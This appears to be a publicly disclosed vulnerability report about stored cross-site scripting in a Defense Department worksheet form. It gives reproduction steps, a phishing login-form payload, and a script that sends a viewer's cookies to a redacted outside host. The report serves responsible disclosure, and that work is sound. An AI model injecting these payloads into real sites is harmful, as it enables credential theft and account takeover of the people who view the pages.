HexBrain

U.S. Dept Of Defense · Report #847176

Stored XSS via 64(?) vulnerable fields in ███ leads to credential theft/account takeover

Validstatus
highseverity
9upvotes
10 Feb 2021disclosed

How it was found

Summary: A user is able to complete a ████████ worksheets via https://██████████. This form allows a user to store multiple XSS payloads within, which will in turn allow the attacker to run malicious code in context of the legal personnel who view the request.

Impact

The attacker can have multiple effects from this vulnerability, to include but not limited to account compromise, keystroke logging, drive-by downloads, and much more.

Step-by-step Reproduction Instructions

  1. Browse to https://█████ ████████
  2. Click █████████. Once on the ██████ page, click ███ and ████████ ██████████
  3. Click Continue. ██████
  4. Fill in your name and click Submit. XSS payloads seem to be sanitized properly here from basic tests. ███
  5. Any field that accepts text in the rest of the document seems vulnerable to XSS. Complete the form, filling in XSS payloads anywhere you can type. I counted 64 vulnerable fields total. █████████
  6. Click Finish. You will see a confirmation that your request was submitting and receive a ticket number. █████████
  7. Click ██████, or return to the ███████ page and put in your info in the █████ area to modify the worksheet. The XSS will fire in both locations. █████████
  8. To demonstrate credential theft/account takeover, I used the following (very obvious) payload. There are various ways an attacker could do this and nothing seems to be filtered:
<h3>Please login to proceed</h3> <form action=http://██████>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>

█████████ ███

An attacker can also redirect the user as soon as the worksheet is opened, but as an unauthenticated user I was unable to test for cookie theft: <script>window.location="http://███/?cookie=" + document.cookie</script> ██████

Suggested Mitigation/Remediation Actions

Sanitize any fields where user input is reflected and disallow special characters from being submitted in each form field.

Impact

The attacker can have multiple effects from this vulnerability, to include but not limited to account compromise, keystroke logging, drive-by downloads, and much more.

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